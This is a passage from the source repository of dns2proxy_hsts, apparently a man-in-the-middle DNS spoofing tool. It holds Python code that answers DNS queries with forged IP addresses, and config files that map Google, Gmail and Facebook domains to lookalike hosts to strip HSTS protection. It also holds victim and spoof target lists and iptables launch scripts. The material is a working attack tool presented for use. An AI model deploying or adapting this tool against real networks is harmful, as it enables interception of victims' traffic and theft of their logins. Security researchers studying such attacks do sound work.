675 | rrset = dns.rrset.from_text(q.name, ttl, dns.rdataclass.IN, dns.rdatatype.A, fip) 676 | DEBUGLOG('Adding fake IP = ' + fip) 677 | resp.answer.append(rrset) 678 | 679 | if not Forward and prov_ip not in nospoofto: 680 | if len(fake_ips) == 0: 681 | DEBUGLOG('No forwarding....') 682 | resp = make_response(qry=msg, RCODE=3) # RCODE = 3 NXDOMAIN 683 | elif len(fake_ips) > 0: 684 | DEBUGLOG('No forwarding (but adding fake IPs)...') 685 | for fip in fake_ips: 686 | rrset = dns.rrset.from_text(q.name, ttl, dns.rdataclass.IN, dns.rdatatype.A, fip) 687 | DEBUGLOG('Adding fake IP = ' + fip) 688 | resp.answer.append(rrset) 689 | return resp, dosleep 690 | 691 | for realip in ips: 692 | DEBUGLOG('Adding real IP = ' + realip.to_text()) 693 | rrset = dns.rrset.from_text(q.name, ttl, dns.rdataclass.IN, dns.rdatatype.A, realip.to_text()) 694 | resp.answer.append(rrset) 695 | 696 | return resp, dosleep 697 | 698 | 699 | # def std_A2_qry(msg): 700 | # qs = msg.question 701 | # DEBUGLOG(str(len(qs)) + ' questions.') 702 | # iparpa = qs[0].to_text().split(' ',1)[0] 703 | # print 'Host: '+ iparpa 704 | # resp = make_response(qry=msg) 705 | # rrset = dns.rrset.from_text(iparpa, 1000,dns.rdataclass.IN, dns.rdatatype.A, '4.4.45.4') 706 | # resp.answer.append(rrset) 707 | # return resp 708 | 709 | def std_ASPOOF_qry(msg): 710 | global spoof 711 | qs = msg.question 712 | DEBUGLOG(str(len(qs)) + ' questions.') 713 | iparpa = qs[0].to_text().split(' ', 1)[0] 714 | DEBUGLOG('Host: ' + iparpa) 715 | resp = make_response(qry=msg) 716 | 717 | for q in qs: 718 | qname = q.name.to_text()[:-1] 719 | DEBUGLOG('q name = ' + qname) + ' to resolve ' + spoof[qname] 720 | # rrset = dns.rrset.from_text(iparpa, 1000,dns.rdataclass.IN, dns.rdatatype.CNAME, 'www.facebook.com.') 721 | # resp.answer.append(rrset) 722 | # rrset = dns.rrset.from_text(iparpa, 1000,dns.rdataclass.IN, dns.rdatatype.CNAME, 'www.yahoo.com.') 723 | # resp.answer.append(rrset) 724 | # rrset = dns.rrset.from_text(iparpa, 1000,dns.rdataclass.IN, dns.rdatatype.CNAME, 'www.tuenti.com.') 725 | # resp.answer.append(rrset) 726 | # rrset = dns.rrset.from_text(iparpa, 1000,dns.rdataclass.IN, dns.rdatatype.CNAME, 'www.twitter.com.') 727 | # resp.answer.append(rrset) 728 | rrset = dns.rrset.from_text(q.name, 1000, dns.rdataclass.IN, dns.rdatatype.A, spoof[qname]) 729 | resp.answer.append(rrset) 730 | return resp 731 | 732 | 733 | def make_response(qry=None, id=None, RCODE=0): 734 | if qry is None and id is None: 735 | raise Exception, 'bad use of make_response' 736 | if qry is None: 737 | resp = dns.message.Message(id) 738 | # QR = 1 739 | resp.flags |= dns.flags.QR 740 | if RCODE != 1: 741 | raise Exception, 'bad use of make_response' 742 | else: 743 | resp = dns.message.make_response(qry) 744 | resp.flags |= dns.flags.AA 745 | resp.flags |= dns.flags.RA 746 | resp.set_rcode(RCODE) 747 | return resp 748 | 749 | 750 | process_files() 751 | Resolver.reset() 752 | Resolver.read_resolv_conf(RESOLVCONF) 753 | signal.signal(signal.SIGUSR1, SIGUSR1_handle) 754 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 755 | s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 756 | s.bind(('', 53)) 757 | if Forward: 758 | DEBUGLOG('DNS Forwarding activado....') 759 | else: 760 | DEBUGLOG('DNS Forwarding desactivado....') 761 | 762 | DEBUGLOG('binded to UDP port 53.') 763 | serving_ids = {} 764 | noserv = True 765 | 766 | if ip1 is not None and ip2 is not None and Forward: 767 | sniff = ThreadSniffer() 768 | sniff.start() 769 | 770 | while True: 771 | if noserv: 772 | DEBUGLOG('waiting requests.') 773 | 774 | try: 775 | message, address = s.recvfrom(1024) 776 | noserv = True 777 | except socket.error as (code, msg): 778 | if code != errno.EINTR: 779 | raise 780 | 781 | if noserv: 782 | DEBUGLOG('serving a request.') 783 | requestHandler(address, message) 784 | -------------------------------------------------------------------------------- /dnsalert.txt: -------------------------------------------------------------------------------- 1 | 2 | 2016-08-02 02:25:15 Alert domain! ID: blackhat 3 | 2016-08-02 02:26:06 Alert domain! ID: blackhat2 4 | -------------------------------------------------------------------------------- /dnslog.txt: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /domains.cfg: -------------------------------------------------------------------------------- 1 | .test.com 1.1.1.1 2 | -------------------------------------------------------------------------------- /exfil.cfg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LeonardoNve/dns2proxy_hsts/a0f4f8c3ca428ea9542e7b30b357beea21ec3fcf/exfil.cfg -------------------------------------------------------------------------------- /fhtagn.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | iptables -P INPUT ACCEPT 4 | iptables -F 5 | iptables -F -t nat 6 | 7 | killall python2.6 8 | -------------------------------------------------------------------------------- /handler_msg.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # This is call as: handler_msg.sh 4 | # 5 | -------------------------------------------------------------------------------- /hsts.cfg: -------------------------------------------------------------------------------- 1 | { 2 | "general" : { 3 | "google.com" : "gooogle.com", 4 | "google.ie" : "gooogle.ie", 5 | "google.es" : "gooogle.es", 6 | "googleusercontent.com" : "gooogleusercontent.com", 7 | "googleapis.com" : "gooogleapis.com", 8 | "gstatic.com" : "gstaticcc.com", 9 | "gmail.com" : "gmaill.com", 10 | "google-analytics.com" : "gooogle-analytics.com", 11 | "facebook.com" : "faceboook.com" 12 | } 13 | } 14 | 15 | -------------------------------------------------------------------------------- /ia.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Lanzar: start.sh 4 | # 5 | # Example: start.sh eth0 192.168.1.101 192.168.1.200 6 | 7 | 8 | 9 | interfaz=$1 10 | dnsserver=$2 11 | routingIP=$3 12 | 13 | adminIP="172.16.100.30" 14 | 15 | #ifconfig $interfaz:1 $routingIP 16 | 17 | iptables -F 18 | iptables -F -t nat 19 | #iptables -P INPUT DROP 20 | iptables -A INPUT -p tcp --dport 443 -j REJECT --reject-with tcp-reset 21 | #iptables -A INPUT -p tcp --dport 443 -j ACCEPT 22 | iptables -A INPUT -p tcp --dport 80 -j ACCEPT 23 | iptables -A INPUT -s $adminIP -j ACCEPT 24 | 25 | #iptables -A INPUT -p tcp --dport 5900 -j ACCEPT 26 | #iptables -A INPUT -p tcp --dport 5901 -j ACCEPT 27 | iptables -A INPUT -p udp --dport 53 -j ACCEPT 28 | iptables -A INPUT -p udp --sport 53 -j ACCEPT 29 | 30 | iptables -A INPUT -p udp -j REJECT 31 | iptables -A INPUT -p icmp -j REJECT 32 | iptables -A INPUT -p tcp -m state --state RELATED,ESTABLISHED -j ACCEPT 33 | 34 | #modprobe ip_nat_ftp 35 | #modprobe ip_conntrack_ftp 36 | iptables -A INPUT -m helper --helper ftp -j ACCEPT 37 | 38 | python dns2proxy.py -i $interfaz -u $dnsserver -d $routingIP 39 | 40 | 41 | -------------------------------------------------------------------------------- /nospoof.cfg: -------------------------------------------------------------------------------- 1 | imap.gmail.com 2 | -------------------------------------------------------------------------------- /nospoofto.cfg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LeonardoNve/dns2proxy_hsts/a0f4f8c3ca428ea9542e7b30b357beea21ec3fcf/nospoofto.cfg -------------------------------------------------------------------------------- /resolv.conf: -------------------------------------------------------------------------------- 1 | nameserver 8.8.8.8 2 | -------------------------------------------------------------------------------- /spoof.cfg: -------------------------------------------------------------------------------- 1 | datcaching.google.com 74.125.24.104 2 | datcaching.facebook.com 31.13.90.97 3 | 4 | 5 | www.blackhat.com 4.4.4.4 6 | -------------------------------------------------------------------------------- /victims.cfg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LeonardoNve/dns2proxy_hsts/a0f4f8c3ca428ea9542e7b30b357beea21ec3fcf/victims.cfg --------------------------------------------------------------------------------